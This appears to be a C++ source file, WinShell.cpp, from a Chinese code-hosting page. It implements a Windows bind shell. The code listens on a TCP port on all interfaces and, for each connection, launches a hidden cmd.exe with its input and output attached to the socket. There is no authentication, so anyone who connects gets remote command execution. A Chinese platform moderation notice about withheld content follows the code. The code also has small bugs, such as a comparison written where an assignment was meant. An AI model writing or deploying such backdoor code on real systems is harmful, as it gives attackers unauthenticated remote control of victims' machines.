/** File: WinShell.cpp* Author: 智欣仙子* tang_rong7407@163.com;496194564@qq.com* Created on November 27, 2015, 10:58 AM*/#include "stdafx.h"#include "WinShell.h"WinShell::WinShell(void){lwState = 0;m_ListenSock = INVALID_SOCKET;WSADATA data;WSAStartup(MAKEWORD(2, 2), &data);}WinShell::~WinShell(void){}int WinShell::CreateShell(u_short port){if(lwState)return -1;sockaddr_in sServer = {0};m_ListenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);if(m_ListenSock == INVALID_SOCKET)return -1;sServer.sin_family = AF_INET;sServer.sin_addr.s_addr = htonl(INADDR_ANY);sServer.sin_port = htons(port);int nRet = bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer));nRet = listen(m_ListenSock, 5);if(nRet == SOCKET_ERROR)return -1;lwState = 1;DWORD dwThreadId;HANDLE hThread1 = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)async_shell, (LPVOID)this, 0, &dwThreadId);return 0;}void WinShell::CloseShell(){lwState = 0;}DWORD WinShell::async_shell(LPVOID lpParm){fd_set fdread;struct timeval timeOut;SOCKET m_AcceptSock = INVALID_SOCKET;WinShell *lpShell = (WinShell *)lpParm;while(lpShell->lwState){FD_ZERO(&fdread);//初始化fd_setFD_SET(lpShell->m_ListenSock, &fdread);//分配套接字句柄到相应的fd_settimeOut.tv_sec = 60;//秒timeOut.tv_usec = 0;//微妙//if (FD_ISSET(lpShell->m_ListenSock, &fdread))if (select(lpShell->m_ListenSock + 1, &fdread, NULL, NULL, &timeOut)){m_AcceptSock = accept(lpShell->m_ListenSock, NULL, NULL);if(m_AcceptSock != INVALID_SOCKET){PROCESS_INFORMATION pi = {0};STARTUPINFO si = {0};si.cb = sizeof(STARTUPINFO);GetStartupInfo(&si);si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)m_AcceptSock;si.wShowWindow = SW_HIDE;TCHAR szCmdLine[MAX_PATH] = {0};GetSystemDirectory(szCmdLine, MAX_PATH);_tcscat_s(szCmdLine, MAX_PATH, _T("\\cmd.exe"));if ( !CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) ) {break;}WaitForSingleObject(pi.hProcess, INFINITE);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);closesocket(m_AcceptSock);}}FD_ZERO(&fdread);}shutdown(lpShell->m_ListenSock, 0x00);closesocket(lpShell->m_ListenSock);lpShell->lwState == 0;return 0;}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。